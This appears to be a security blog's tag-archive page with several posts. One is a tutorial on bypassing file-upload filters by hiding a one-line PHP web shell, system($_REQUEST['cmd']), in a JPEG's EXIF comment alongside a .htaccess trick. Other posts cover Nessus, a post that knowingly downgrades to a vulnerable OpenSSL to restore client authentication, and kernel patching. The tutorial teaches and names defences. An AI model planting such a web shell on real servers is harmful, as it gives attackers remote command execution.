Tag Archives: Vulnerability

File upload vulnerabilities : appending PHP code to an image

Several ways may be used to protect a file upload functionality on a website.

A first method is content-type checking, which can be easily bypassed with a intercepting proxy (tampering the MIME type). The screenshot below shows an intercepted request where the attacker modifies the content-type (beforehand text/php) and then forwards the content to the server:

HTTP POST content-type tampering

HTTP POST content-type tampering

Thus, the content-type filtering is bypassed.

Another method consists in checking the file name extension. If simple bypasses like playing with lowercase (.PHP instead of .php), using multiple extension (.php.foo) or triggering the NULL byte (.php%00.jpg) do not work, there is a last chance by uploading a crafted image.

JPEG files are convenient for code injection: they support EXIF metadata, which include a comment field where anything can be written, as long as it is on a single line.

So, when a web server parses the image content, it may interpret the PHP code inside if it is improperly secured.

The method is however totally dependent on the ability to upload a .htaccess file, which may be a long way to go.

Though, one advantage of using an image in most upload vulnerability exploitation cases is stealth: an image will always look less suspicious than a dropped .php file.

Anyway, for fun, here is how to do:

  1. Upload a .htaccess file that contains:
    AddType application/x-httpd-php .jpg
  2. Take a JPEG file of your choice, install the jhead tool (there are many alternatives, like exiftool, but this one is straightforward).
  3. House-keeping (delete extra headers):
    jhead -purejpg <filename>.jpg
  4. Edit EXIF JPEG comment:
    jhead -ce <filename>.jpg
  5. Copy / paste your PHP code, like this one for instance (must fit in one line):
    <style>body{font-size: 0;}h1{font-size: 12px}</style><h1><?php if(isset($_REQUEST['cmd'])){system($_REQUEST['cmd']);}else{echo '<img src="./clean_imagejs';}__halt_compiler();?></h1>

    This code just reads a command from the cmd parameter when it is set. If it is absent, then for more discretion it displays another image (clean_image.jpg, that you would have uploaded previously, for instance). The CSS style trick (font size of 0) just hides some garbage that comes from the JPEG header.

  6. Just upload the file and test it! DVWA is a convenient and safe way for that.

Note this nice article as a reference on the topic, and the solution that is suggested to fix such a vulnerability: disabling one way or another script execution on the upload directory and use random server-side file renaming.

Nessus 4.2

Nessus 4.2 is out.

I tried it out and I must say that the new UI is great. I am not a big fan of Flash and I regret this choice. However, the design is excellent, all options are accessible in a logical way. Instead of spreading over the options like it used to be, they come to you in the right order.

I also appreciate that the server and the client set-up are now unified thanks to the web interface (you can access it from localhost or from the network indifferently).

The report section has also been greatly improved.

So, if you were already an Nessus user, it is worth upgrading.

Talking about the set-up, there is an up-to-date package for openSUSE (of course, there are a lot less dependencies than before).

OpenSSL : CVE-2009-3555 security fix and mod_ssl client authentication breakage

A security advisory on OpenSSL has recently been published. Details are there and there.

It is vulnerable to a MiTM attack where the attacker can intercept and retrieve the credential to a trusted HTTPS website, by intercepting the session cookie sent back to the client.

A proof of concept of an attack against Twitter was made.

Fine. But so far, the answer was to just disable any renegociation.

This actually causes some issues with SSL session timeout and totally broke client authentication.

I got into problems because of the latter. I am using client authentication for some location of my web server, and I recently could not connect anymore to these with the following log in apache :

[Tue Nov 24 16:56:15 2009] [debug] ssl_engine_kernel.c(1912): OpenSSL:Exit: error in SSLv3 read client hello A
[Tue Nov 24 16:56:15 2009] [error] [client x.x.x.x] Re-negotiation handshake failed: Not accepted by client!?

I first was not aware of the openssl patch and tried almost anything possible. My focus was, of course, on the certificate and the client.
But, a nice guy on IRC #suse, Stittel, had a good hunch and suggested me to look at the CVE-2009-3555 fix.

After more tests, it was quickly confirmed to work well with older versions of OpenSSL (as shipped in Debian Lenny).
Finally, I downgraded the OpenSSL version on my openSUSE box to a version prior to the CVE-2009-3555 fix and it just worked fine.

Then, I dig into it and found a lot of interesting reports there and there. So far it is a real mess.
In short, the breakage will stay as long as browsers don’t also include a patch to avoid renegotiation.
So far, I could not find a browser that does include a patch.
If anyone reading it knows a version that does it, please let me know.

Meanwhile, you have actually the choice between :

  • low security by deactivating client authentication on your server
  • low security by keeping a vulnerable version of OpenSSL

As my server is not very exposed, I chose the latter, but that’s not satisfying.  It is not recommended, but if like me you need to use client authentication with mod_ssl on openSUSE 11.2, do :

% zypper install --from repo-oss openssl openssl-certs libopenssl0_9_8 libopenssl0_9_8-32bit

where repo-oss is the alias to the 11.2 release (without updates) on your system.

What a brutal way to fix an issues without much notification and consideration to the users ! Even the log message is wrong and just confusing the administrator…

PS 1 : thanks again to Stittel for the good hint (I hope you will come by here) and to the always nice and helpful #suse channel in general ;)

PS 2 : bug reported on openSUSE bugzilla

openSUSE kernel sources : patching against sock_sendpage() NULL Pointer Dereference vulnerability

I am using the 2.6.30 kernel sources from Kernel:linux-next and noticed that it has not yet been patched against the ’sock_sendpage()’ NULL Pointer Dereference vulnerability.

The threat is serious as it could allow a local user to gain root privileges.

Those who compile their own 2.6.x kernel should apply this patch (from Linus, check there for more info) .

Within your kernel source folder :

$ patch -u -p0 < sock_sendpage.patch

I hope an official patch will be released soon for all kernels. I did not check if the 11.1 kernel has already been patched or not.